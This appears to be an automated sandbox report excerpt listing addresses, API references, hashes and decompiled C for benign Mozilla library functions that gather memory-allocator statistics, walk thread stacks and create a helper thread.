0x6d0e593b
0x6d0e5947
0x6d0e5949
0x6d0e594f
0x00000000
0x6d0e5955
0x6d0e5955
0x6d0e595b
0x6d0e5961
0x6d0e5963
0x6d0e596d
0x6d0e596d
0x6d0e5975
0x6d0e597a
0x6d0e597a
0x6d0e597d
0x6d0e597f
0x6d0e59dc
0x00000000
0x6d0e59de
0x6d0e59e9
0x6d0e59f0
0x6d0e59f2
0x6d0e59fb
0x00000000
0x6d0e59f4
0x6d0e59f4
0x6d0e59f4
0x00000000
0x6d0e59f4
0x6d0e59f2
0x6d0e5981
0x6d0e5981
0x6d0e598d
0x6d0e5999
0x6d0e59a2
0x6d0e59af
0x6d0e59b4
0x6d0e59b7
0x6d0e59b9
0x6d0e59bc
0x6d0e5ab6
0x6d0e5abb
0x6d0e5abc
0x00000000
0x6d0e59c2
0x6d0e59c4
0x6d0e59c9
0x6d0e59d4
0x6d0e59fe
0x6d0e59fe
0x6d0e5a00
0x6d0e5a5b
0x6d0e5a5b
0x6d0e5aa8
0x6d0e5aae
0x6d0e5a02
0x6d0e5a07
0x6d0e5a10
0x6d0e5a15
0x6d0e5a25
0x6d0e5a27
0x6d0e5a2a
0x6d0e5a45
0x6d0e5a4a
0x6d0e5a4a
0x6d0e5a55
0x00000000
0x6d0e5a2c
0x6d0e5a31
0x6d0e5a36
0x6d0e5a37
0x6d0e5ac3
0x6d0e5ac3
0x6d0e5ac8
0x6d0e5ac9
0x6d0e5acc
0x6d0e5acd
0x6d0e5acf
0x6d0e5ad0
0x6d0e5ad1
0x6d0e5ad5
0x6d0e5adb
0x6d0e5aec
0x6d0e5af4
0x6d0e5af4
0x6d0e5af4
0x6d0e5af8
0x6d0e5b02
0x6d0e5b02
0x6d0e5a2a
0x6d0e5a00
0x6d0e59bc
0x6d0e597f
0x6d0e594f
0x6d0e5866
0x6d0e5866
0x6d0e5b0b
0x6d0e5b0c
0x6d0e5b0f
0x6d0e5b10
0x6d0e5b11
0x6d0e5b18
0x6d0e5b1d
0x6d0e5b26
0x6d0e5b4f
0x6d0e5b53
0x6d0e5b56
0x6d0e5bae
0x6d0e5bae
0x6d0e5bb4
0x6d0e5bb9
0x6d0e5bbc
0x6d0e5bbe
0x6d0e5bc0
0x6d0e5bc2
0x6d0e5bc8
0x6d0e5bd2
0x6d0e5bd5
0x6d0e5bd5
0x6d0e5bda
0x6d0e5be9
0x6d0e5bdc
0x6d0e5bdc
0x6d0e5bdd
0x6d0e5bde
0x6d0e5be3
0x6d0e5bf0
0x6d0e5bf0
0x6d0e5b58
0x6d0e5b58
0x6d0e5b5e
0x6d0e5b63
0x00000000
0x6d0e5b65
0x6d0e5b67
0x6d0e5b6c
0x6d0e5b6f
0x6d0e5b72
0x6d0e5ba5
0x6d0e5baa
0x6d0e5bac
0x00000000
0x00000000
0x00000000
0x00000000
0x6d0e5b74
0x6d0e5b82
0x6d0e5b8d
0x6d0e5b8e
0x6d0e5b91
0x6d0e5b92
0x6d0e5b95
0x00000000
0x6d0e5b95
0x6d0e5b72
0x6d0e5b63
0x6d0e5b2d
0x6d0e5b2d
0x6d0e5b32
0x6d0e5b40
0x6d0e5b45
0x6d0e5b48
0x6d0e5b48
0x6d0e5b48
0x6d0e5bf9
0x6d0e5bf9

APIs

memset.VCRUNTIME140(000FF000,000000E5,?,?,00000000,00000000), ref: 6D0E5975
EnterCriticalSection.KERNEL32(6D10028C,?,00000000,00000000), ref: 6D0E5999
LeaveCriticalSection.KERNEL32(6D10028C,?,?,?,00000000,00000000), ref: 6D0E59D4
EnterCriticalSection.KERNEL32(6D10028C,?,00000000,00000000), ref: 6D0E5A07
memset.VCRUNTIME140(?,000000E5,00000000,000FF000,?,00000000,00000000), ref: 6D0E5B40
memset.VCRUNTIME140(?,000000E5,00000000,000FF000,?,00000000,00000000), ref: 6D0E5B82
memcpy.VCRUNTIME140(00000000,000FF000,00000000,000FF000,00000000,000FF000,?,00000000,00000000), ref: 6D0E5BC8

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6D0E5A2C, 6D0E5AB1

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSectionmemset$Enter$Leavememcpy
String ID: MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 573577806-1897864727
Opcode ID: ed215915da5826b7e7bbcdbb39702128e837edddc0fabfd6ffe28d069a36cbb0
Instruction ID: 12293e05b216014e18a2cc0e96a031f60637f0bd806726a70b42905f283cc7e9
Opcode Fuzzy Hash: ed215915da5826b7e7bbcdbb39702128e837edddc0fabfd6ffe28d069a36cbb0
Instruction Fuzzy Hash: 4571C436A04209AFEB119F69DC88FFE77B8EF45394F14492AF9059B241DB70DA40C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E847D, Relevance: 15.2, APIs: 9, Strings: 1, Instructions: 177
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6D0E847D(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a4) {
				signed int _v8;
				intOrPtr _v12;
				char _v364;
				char _v716;
				signed int _v720;
				intOrPtr _v724;
				intOrPtr _v728;
				char _v732;
				intOrPtr _v736;
				char _v740;
				void* _v744;
				intOrPtr _v748;
				intOrPtr _v752;
				signed int _v756;
				signed int _v760;
				intOrPtr _v764;
				char _v772;
				signed int _t101;
				void* _t104;
				intOrPtr _t105;
				intOrPtr _t106;
				intOrPtr _t107;
				signed int _t113;
				intOrPtr _t125;
				intOrPtr _t130;
				signed int _t132;
				void* _t143;
				intOrPtr _t144;
				intOrPtr _t146;
				signed int* _t148;
				signed int _t155;
				signed int _t162;
				intOrPtr _t163;
				intOrPtr _t164;
				signed int _t169;
				intOrPtr _t170;
				void* _t172;
				signed int _t173;
				void* _t174;
				struct _CRITICAL_SECTION* _t178;
				signed int _t180;

				_t174 = __esi;
				_t143 = __ebx;
				_t101 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t101 ^ _t180;
				_t172 = _a4;
				_v744 = _t172;
				if(_t172 != 0) {
					if( *0x6d1001e4 != 0) {
						_t104 = 1;
					} else {
						_t104 = L6D0E87CF(__ecx, _t172);
					}
					if(_t104 != 0) {
						_t105 =  *0x6d100008; // 0x100
						_push(_t143);
						_push(_t174);
						 *_t172 = 0;
						 *((intOrPtr*)(_t172 + 8)) = 0x10;
						 *((intOrPtr*)(_t172 + 0xc)) = 0x200;
						 *((intOrPtr*)(_t172 + 0x10)) = 0xff000;
						 *(_t172 + 0x14) = 0x100000;
						 *((intOrPtr*)(_t172 + 0x18)) = 0x1000;
						 *((intOrPtr*)(_t172 + 0x1c)) = _t105;
						 *((intOrPtr*)(_t172 + 4)) = 0;
						 *(_t172 + 0x20) = 0;
						 *((intOrPtr*)(_t172 + 0x24)) = 0;
						 *((intOrPtr*)(_t172 + 0x28)) = 0;
						 *((intOrPtr*)(_t172 + 0x2c)) = 0;
						 *((intOrPtr*)(_t172 + 0x30)) = 0;
						 *((intOrPtr*)(_t172 + 0x34)) = 0;
						EnterCriticalSection(0x6d10028c);
						_t106 =  *0x6d1002a8; // 0x0
						_t144 =  *0x6d1002ac; // 0x0
						 *((intOrPtr*)(_t172 + 0x24)) =  *((intOrPtr*)(_t172 + 0x24)) + _t106;
						LeaveCriticalSection(0x6d10028c);
						EnterCriticalSection(0x6d1002c4);
						_t107 =  *0x6d1002e0; // 0x0
						 *((intOrPtr*)(_t172 + 0x30)) =  *((intOrPtr*)(_t172 + 0x30)) + _t107;
						_v764 = _t144 +  *0x6d1002dc;
						LeaveCriticalSection(0x6d1002c4);
						EnterCriticalSection(0x6d100228);
						E6D0E335E( &_v364, 0x6d100248);
						_v12 = 0x6d10024c;
						_t146 =  *((intOrPtr*)(E6D0E7B92( &_v364,  &_v772) + 4));
						while(_t146 != 0) {
							_t27 = _t146 + 0xc; // 0xc
							_t178 = _t27;
							_v728 = 0;
							_v724 = 0;
							EnterCriticalSection(_t178);
							_v748 =  *((intOrPtr*)(_t146 + 0x24));
							_v760 =  *(_t146 + 0x28) << 0xc;
							_v752 =  *((intOrPtr*)(_t146 + 0x30)) +  *((intOrPtr*)(_t146 + 0x2c));
							_t148 = _t146 + 0x50;
							_v756 =  *(_t146 + 0x3c) << 0xc;
							_v732 = 0x23;
							do {
								_v720 = _v720 & 0x00000000;
								_t42 = _t148 - 4; // -84
								E6D0E3304( &_v716, _t42);
								E6D0E7B92( &_v716,  &_v740);
								_t125 = _v736;
								_t173 = _v720;
								while(_v740 !=  &_v716 || _t125 != 0) {
									_t52 = ( *(_t125 + 8) & 0xfffff000) + 8; // 0x0
									_t173 = _t173 +  *_t52 *  *_t148;
									_t125 = E6D0E53B5(_v740);
								}
								_v736 = _t125;
								_t162 = _t173;
								_t130 =  *((intOrPtr*)(_t148 - 8));
								_v720 = _t173;
								if(_t130 != 0) {
									_t56 = _t130 + 8; // 0x0
									_t162 = _t162 +  *_t56 *  *_t148;
								}
								_t132 = _t148[5] * _t148[4];
								_t148 =  &(_t148[8]);
								_v724 = _v724 + _t162;
								_v728 = _v728 + _t132;
								_t63 =  &_v732;
								 *_t63 = _v732 - 1;
							} while ( *_t63 != 0);
							LeaveCriticalSection(_t178);
							_t172 = _v744;
							_t169 = _v756;
							_t163 = _v752;
							 *(_t172 + 0x20) =  *(_t172 + 0x20) + _v748;
							 *((intOrPtr*)(_t172 + 0x2c)) =  *((intOrPtr*)(_t172 + 0x2c)) + _t169;
							 *((intOrPtr*)(_t172 + 0x24)) =  *((intOrPtr*)(_t172 + 0x24)) + _t163;
							_t170 = _v724;
							_t164 = _v728;
							 *((intOrPtr*)(_t172 + 0x30)) =  *((intOrPtr*)(_t172 + 0x30)) + _t164;
							 *((intOrPtr*)(_t172 + 0x28)) =  *((intOrPtr*)(_t172 + 0x28)) + _v760 - _t169 - _t163 - _t170 - _t164;
							 *((intOrPtr*)(_t172 + 0x34)) =  *((intOrPtr*)(_t172 + 0x34)) + _t170;
							 *((intOrPtr*)(_t172 + 4)) =  *((intOrPtr*)(_t172 + 4)) + 1;
							_t146 = E6D0E54B3( &_v364);
						}
						LeaveCriticalSection(0x6d100228);
						_t155 =  *(_t172 + 0x20);
						_t113 = _t155 /  *(_t172 + 0x14) << 0xc;
						 *((intOrPtr*)(_t172 + 0x30)) =  *((intOrPtr*)(_t172 + 0x30)) + _t113;
						 *((intOrPtr*)(_t172 + 0x28)) =  *((intOrPtr*)(_t172 + 0x28)) - _t113;
						 *(_t172 + 0x20) = _t155 + _v764;
					} else {
						memset(_t172, 0, 0x38);
					}
				}
				return E6D0F70C0(_v8 ^ _t180);
			}

0x6d0e847d
0x6d0e847d
0x6d0e8486
0x6d0e848d
0x6d0e8491
0x6d0e8494
0x6d0e849c
0x6d0e84a9
0x6d0e84b2
0x6d0e84ab
0x6d0e84ab
0x6d0e84ab
0x6d0e84b6
0x6d0e84ca
0x6d0e84d1
0x6d0e84d2
0x6d0e84d8
0x6d0e84dc
0x6d0e84e3
0x6d0e84ea
0x6d0e84f1
0x6d0e84f8
0x6d0e84ff
0x6d0e8502
0x6d0e8505
0x6d0e8508
0x6d0e850b
0x6d0e850e
0x6d0e8511
0x6d0e8514
0x6d0e8517
0x6d0e851d
0x6d0e8522
0x6d0e8528
0x6d0e8532
0x6d0e8539
0x6d0e8545
0x6d0e854a
0x6d0e8552
0x6d0e8558
0x6d0e855f
0x6d0e8570
0x6d0e857b
0x6d0e858e
0x6d0e8591
0x6d0e859b
0x6d0e859b
0x6d0e85a0
0x6d0e85a7
0x6d0e85ad
0x6d0e85b6
0x6d0e85c2
0x6d0e85ce
0x6d0e85da
0x6d0e85dd
0x6d0e85e3
0x6d0e85ed
0x6d0e85ed
0x6d0e85f4
0x6d0e85fe
0x6d0e8610
0x6d0e8615
0x6d0e861b
0x6d0e8621
0x6d0e8641
0x6d0e8647
0x6d0e8649
0x6d0e8649
0x6d0e8650
0x6d0e8656
0x6d0e8658
0x6d0e865b
0x6d0e8663
0x6d0e8665
0x6d0e866b
0x6d0e866b
0x6d0e8670
0x6d0e8674
0x6d0e8677
0x6d0e867d
0x6d0e8683
0x6d0e8683
0x6d0e8683
0x6d0e8697
0x6d0e8699
0x6d0e86a5
0x6d0e86ab
0x6d0e86b1
0x6d0e86ba
0x6d0e86bf
0x6d0e86c4
0x6d0e86cc
0x6d0e86d4
0x6d0e86dd
0x6d0e86e0
0x6d0e86e3
0x6d0e86eb
0x6d0e86eb
0x6d0e86f7
0x6d0e86f9
0x6d0e870a
0x6d0e870d
0x6d0e8710
0x6d0e8713
0x6d0e84b8
0x6d0e84bd
0x6d0e84c2
0x6d0e84b6
0x6d0e8725

APIs

memset.VCRUNTIME140(?,00000000,00000038), ref: 6D0E84BD

Part of subcall function 6D0E89D9: AcquireSRWLockExclusive.KERNEL32(6D1001DC,00000001,00000000,00000000,?,6D0E875F,6D1000D8,00000001,?,6D0E8F13,?,?,?,6D0E930B,?), ref: 6D0E87DA
Part of subcall function 6D0E89D9: ReleaseSRWLockExclusive.KERNEL32(6D1001DC,?,6D0E875F,6D1000D8,00000001,?,6D0E8F13,?,?,?,6D0E930B,?,?,6D0E2424,00000008), ref: 6D0E8985

EnterCriticalSection.KERNEL32(6D10028C), ref: 6D0E8517
LeaveCriticalSection.KERNEL32(6D10028C), ref: 6D0E8532
EnterCriticalSection.KERNEL32(6D1002C4), ref: 6D0E8539
LeaveCriticalSection.KERNEL32(6D1002C4), ref: 6D0E8558
EnterCriticalSection.KERNEL32(6D100228), ref: 6D0E855F
EnterCriticalSection.KERNEL32(00000200,?,6D100248), ref: 6D0E85AD
LeaveCriticalSection.KERNEL32(00000200,?), ref: 6D0E8697
LeaveCriticalSection.KERNEL32(6D100228,?,6D100248), ref: 6D0E86F7

Strings

#, xrefs: 6D0E85E3

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave$ExclusiveLock$AcquireReleasememset
String ID: #
API String ID: 2436067299-1885708031
Opcode ID: edec86361d7cff688f27d23816f0a950c1aabc7a32c8574f15d113c70a157840
Instruction ID: 69043205f066cda45e2a47618b78362f578d22fb571e67c97c064a1a1ed94bf7
Opcode Fuzzy Hash: edec86361d7cff688f27d23816f0a950c1aabc7a32c8574f15d113c70a157840
Instruction Fuzzy Hash: 3F816A7090121A9FDB58DF29D988BADB7F4FF48350F1042AAD808A7651DB70EE90CF84

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EAEA2, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 132
threadCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E6D0EAEA2(void* __ebx, signed int __ecx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _v212;
				int _v220;
				long _v224;
				intOrPtr _v228;
				int _v236;
				long _v240;
				intOrPtr _v244;
				signed int _v252;
				signed int _v256;
				intOrPtr _v260;
				int _v268;
				void _v272;
				char _v988;
				intOrPtr _v992;
				signed int _v996;
				signed int _v1000;
				long _v1008;
				signed int _t55;
				intOrPtr _t62;
				void* _t63;
				long _t66;
				void* _t69;
				intOrPtr _t70;
				void* _t84;
				signed int _t85;
				signed int _t89;
				signed int _t91;
				CONTEXT* _t94;
				intOrPtr* _t96;
				signed int _t97;
				void* _t98;

				_t85 = __ecx;
				_t55 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t55 ^ _t97;
				_t96 = _a4;
				_t94 =  *(_t96 + 0x34);
				if(_t94 != 0) {
					L4:
					memset( &_v272, 0, 0x108);
					_v268 = 0;
					_v272 = _t94->Eip;
					_v220 = 0;
					_v224 = _t94->Esp;
					_v236 = 0;
					_v240 = _t94->Ebp;
					_t62 = 3;
					_t83 =  !=  ? _t62 : 0;
					_v260 = _t62;
					_t84 = ( !=  ? _t62 : 0) +  *((intOrPtr*)(_t96 + 4));
					_v212 = _t62;
					_v228 = _t62;
					_v244 = _t62;
					goto L5;
					do {
						do {
							L5:
							EnterCriticalSection(0x6d10030c);
							_t63 =  &_v272;
							__imp__StackWalk64(0x14c,  *((intOrPtr*)(_t96 + 0xc)),  *(_t96 + 8), _t63, _t94, 0, __imp__SymFunctionTableAccess64, __imp__SymGetModuleBase64, 0);
							_v992 = _t63;
							LeaveCriticalSection(0x6d10030c);
							if(_v992 == 0) {
								asm("xorps xmm0, xmm0");
								asm("movlpd [ebp-0x3e4], xmm0");
								asm("movlpd [ebp-0x3ec], xmm0");
								if( *_t96 == 0) {
									goto L19;
								}
								E6D0EADB0(_t85, "WalkStack64");
								_t91 = _v1000;
								_t66 = _v1008;
								_t85 = _v996;
								L9:
								_v996 = _t66;
								if(_v992 == 0 || (_t91 | _t85) == 0) {
									goto L19;
								} else {
									goto L11;
								}
							}
							_t91 = _v272;
							_t85 = _v268;
							_t66 = _v224;
							goto L9;
							L11:
							_t69 = _t84;
							_t84 = _t84 - 1;
						} while (_t69 > 0);
						_t89 =  *(_t96 + 0x20);
						if(_t89 <  *((intOrPtr*)(_t96 + 0x1c))) {
							 *( *((intOrPtr*)(_t96 + 0x18)) + _t89 * 4) = _t91;
						}
						 *(_t96 + 0x20) =  *(_t96 + 0x20) + 1;
						_t85 =  *(_t96 + 0x30);
						if(_t85 <  *((intOrPtr*)(_t96 + 0x2c))) {
							 *( *((intOrPtr*)(_t96 + 0x28)) + _t85 * 4) = _v996;
						}
						 *(_t96 + 0x30) =  *(_t96 + 0x30) + 1;
						_t70 =  *((intOrPtr*)(_t96 + 0x24));
						if(_t70 != 0 &&  *(_t96 + 0x20) == _t70) {
							break;
						}
					} while ((_v256 | _v252) != 0);
					L19:
					return E6D0F70C0(_v8 ^ _t97);
				}
				_t94 =  &_v988;
				memset(_t94, 0, 0x2cc);
				_t98 = _t98 + 0xc;
				_v988 = 0x10007;
				if(GetThreadContext( *(_t96 + 8), _t94) != 0) {
					goto L4;
				}
				if( *_t96 != 0) {
					E6D0EADB0(_t85, "GetThreadContext");
				}
				goto L19;
			}

0x6d0eaea2
0x6d0eaeab
0x6d0eaeb2
0x6d0eaeb7
0x6d0eaebd
0x6d0eaec2
0x6d0eaf0d
0x6d0eaf1a
0x6d0eaf28
0x6d0eaf2e
0x6d0eaf3a
0x6d0eaf40
0x6d0eaf4c
0x6d0eaf58
0x6d0eaf5e
0x6d0eaf5f
0x6d0eaf62
0x6d0eaf68
0x6d0eaf6b
0x6d0eaf71
0x6d0eaf77
0x6d0eaf77
0x6d0eaf7d
0x6d0eaf7d
0x6d0eaf7d
0x6d0eaf82
0x6d0eaf90
0x6d0eafab
0x6d0eafb6
0x6d0eafbc
0x6d0eafc9
0x6d0eafe2
0x6d0eafe5
0x6d0eafed
0x6d0eaff5
0x00000000
0x00000000
0x6d0eb000
0x6d0eb005
0x6d0eb00b
0x6d0eb012
0x6d0eb018
0x6d0eb01f
0x6d0eb025
0x00000000
0x00000000
0x00000000
0x00000000
0x6d0eb025
0x6d0eafcb
0x6d0eafd1
0x6d0eafd7
0x00000000
0x6d0eb02d
0x6d0eb02d
0x6d0eb02f
0x6d0eb030
0x6d0eb038
0x6d0eb03e
0x6d0eb043
0x6d0eb043
0x6d0eb046
0x6d0eb049
0x6d0eb04f
0x6d0eb05a
0x6d0eb05a
0x6d0eb05d
0x6d0eb060
0x6d0eb065
0x00000000
0x00000000
0x6d0eb072
0x6d0eb07e
0x6d0eb08e
0x6d0eb08e
0x6d0eaec9
0x6d0eaed3
0x6d0eaed8
0x6d0eaedb
0x6d0eaef3
0x00000000
0x00000000
0x6d0eaef7
0x6d0eaf02
0x6d0eaf07
0x00000000

APIs

memset.VCRUNTIME140(?,00000000,000002CC,00000000,?,73BCF560), ref: 6D0EAED3
GetThreadContext.KERNEL32(?,?,00000000,?,73BCF560), ref: 6D0EAEEB

Part of subcall function 6D0EADB0: GetLastError.KERNEL32(00000000,?,6D0EA707,CreateThread), ref: 6D0EADB4
Part of subcall function 6D0EADB0: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,?,6D0EA707,CreateThread), ref: 6D0EADCE
Part of subcall function 6D0EADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,### ERROR: %s: %s,6D0EA707,00000000,?,6D0EA707), ref: 6D0EADEC
Part of subcall function 6D0EADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,6D0EA707), ref: 6D0EADFB
Part of subcall function 6D0EADB0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D0EAE02
Part of subcall function 6D0EADB0: LocalFree.KERNEL32(?), ref: 6D0EAE0E

memset.VCRUNTIME140(?,00000000,00000108,00000000,?,73BCF560), ref: 6D0EAF1A
EnterCriticalSection.KERNEL32(6D10030C,00000000,?,73BCF560), ref: 6D0EAF82
StackWalk64.DBGHELP(0000014C,?,?,?,?,00000000,00000000), ref: 6D0EAFAB
LeaveCriticalSection.KERNEL32(6D10030C), ref: 6D0EAFBC

Strings

WalkStack64, xrefs: 6D0EAFFB
GetThreadContext, xrefs: 6D0EAEFD

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection__acrt_iob_funcmemset$ContextEnterErrorFormatFreeLastLeaveLocalMessageStackThreadWalk64fflush
String ID: GetThreadContext$WalkStack64
API String ID: 2174353461-3940223035
Opcode ID: 5b374a454005d8967a2a83a17dc3c29803eb619e047f4ae62058b88182f9b658
Instruction ID: e2d76287b8b0ac7466def1d9da80097807eec50d3fc322a457487fc56a9c02b9
Opcode Fuzzy Hash: 5b374a454005d8967a2a83a17dc3c29803eb619e047f4ae62058b88182f9b658
Instruction Fuzzy Hash: 90511B70A00359DFEB21DF65D890BADB7F9FF49380F10869AE559A7640DB70AA80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EA69F, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 63
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6D0EA69F(void* __ecx) {
				char _v8;
				char _t3;
				char _t6;
				void* _t7;
				void* _t15;
				void* _t24;

				_t13 = __ecx;
				_push(__ecx);
				_t3 =  *0x6d100325; // 0x0
				if(_t3 == 0) {
					_t24 =  *0x6d100328; // 0x0
					if(_t24 != 0) {
						L7:
						if(WaitForSingleObject( *0x6d10032c, 0x3e8) != 0x102) {
							CloseHandle( *0x6d10032c);
							 *0x6d100328 = 0;
							_t6 = 1;
							 *0x6d100325 = 1;
							L10:
							 *0x6d10032c = 0;
							L11:
							return _t6;
						}
						L8:
						_t6 = 0;
						goto L11;
					}
					_t7 = CreateEventA(0, 0, 0, 0);
					 *0x6d10032c = _t7;
					if(_t7 != 0) {
						__imp___beginthreadex(0, 0, E6D0EB090, _t7, 0,  &_v8);
						_t15 = _t7;
						 *0x6d100328 = _t15;
						if(_t15 != 0) {
							 *0x6d100308 = _v8;
							CloseHandle(_t15);
							goto L7;
						}
						E6D0EADB0(_t15, "CreateThread");
						CloseHandle( *0x6d10032c);
						_t6 = 0;
						goto L10;
					}
					E6D0EADB0(_t13, "CreateEvent");
					goto L8;
				}
				return _t3;
			}

0x6d0ea69f
0x6d0ea6a2
0x6d0ea6a3
0x6d0ea6aa
0x6d0ea6b3
0x6d0ea6b9
0x6d0ea727
0x6d0ea73d
0x6d0ea749
0x6d0ea74f
0x6d0ea755
0x6d0ea757
0x6d0ea75e
0x6d0ea75e
0x6d0ea764
0x00000000
0x6d0ea764
0x6d0ea73f
0x6d0ea73f
0x00000000
0x6d0ea73f
0x6d0ea6bf
0x6d0ea6c5
0x6d0ea6cc
0x6d0ea6e8
0x6d0ea6ee
0x6d0ea6f3
0x6d0ea6fb
0x6d0ea71c
0x6d0ea721
0x00000000
0x6d0ea721
0x6d0ea702
0x6d0ea70e
0x6d0ea714
0x00000000
0x6d0ea714
0x6d0ea6d3
0x00000000
0x6d0ea6d8
0x6d0ea768

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,MOZ_CRASH(Bad format string)), ref: 6D0EA6BF
_beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6D0EB090,00000000,00000000,?,?,?,MOZ_CRASH(Bad format string)), ref: 6D0EA6E8
CloseHandle.KERNEL32 ref: 6D0EA70E

Part of subcall function 6D0EADB0: GetLastError.KERNEL32(00000000,?,6D0EA707,CreateThread), ref: 6D0EADB4
Part of subcall function 6D0EADB0: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,?,6D0EA707,CreateThread), ref: 6D0EADCE
Part of subcall function 6D0EADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,### ERROR: %s: %s,6D0EA707,00000000,?,6D0EA707), ref: 6D0EADEC
Part of subcall function 6D0EADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,6D0EA707), ref: 6D0EADFB
Part of subcall function 6D0EADB0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D0EAE02
Part of subcall function 6D0EADB0: LocalFree.KERNEL32(?), ref: 6D0EAE0E

WaitForSingleObject.KERNEL32(000003E8,?,?,?,MOZ_CRASH(Bad format string)), ref: 6D0EA732
CloseHandle.KERNEL32(?,?,MOZ_CRASH(Bad format string)), ref: 6D0EA749

Strings

CreateThread, xrefs: 6D0EA6FD
CreateEvent, xrefs: 6D0EA6CE

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle__acrt_iob_func$CreateErrorEventFormatFreeLastLocalMessageObjectSingleWait_beginthreadexfflush
String ID: CreateEvent$CreateThread
API String ID: 1896352820-223570749
Opcode ID: 2686738aa2a65ac798e9b474b9258d18d0fbb081811e957f529a3271810b59ca
Instruction ID: 10eeda80428d0d6c8fdee4cba3588ce18d12512bd9ad87933f9d3b1b8497912c
Opcode Fuzzy Hash: 2686738aa2a65ac798e9b474b9258d18d0fbb081811e957f529a3271810b59ca
Instruction Fuzzy Hash: E4113A35914201AFEF26AF26BC48F6E3BFDE78F795BB0005DE8448A241EFB10441DA24

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E9100, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,6D0E9221,?,?,6D1000D8,00000001), ref: 6D0E9105
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6D1000D8,00000000,?,6D0E9221,?,?,6D1000D8,00000001), ref: 6D0E910F
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,6D0E9221,?,?,6D1000D8,00000001), ref: 6D0E9117
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6D0FA5C8,00000000,?,6D0E9221,?,?,6D1000D8,00000001), ref: 6D0E9123

Part of subcall function 6D0E8DD0: GetCurrentProcess.KERNEL32(00000003,?,6D0E74AE,000000A0,00000000), ref: 6D0E8DDD
Part of subcall function 6D0E8DD0: TerminateProcess.KERNEL32(00000000,?,6D0E74AE,000000A0,00000000), ref: 6D0E8DE4

mozalloc_abort.MOZGLUE(00000000,?,0000001F), ref: 6D0E914C

Part of subcall function 6D0E9100: calloc.MOZGLUE(00000001,?), ref: 6D0E916E

malloc.MOZGLUE(?), ref: 6D0E9176

Strings

MOZ_CRASH(), xrefs: 6D0E9129

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Process__acrt_iob_funcfputs$CurrentTerminatecallocmallocmozalloc_abort
String ID: MOZ_CRASH()
API String ID: 1189084029-2608361144
Opcode ID: ed99600def44bd1b090343b4a0767f766b906c547afbb4fb5f3624cee96f2a35
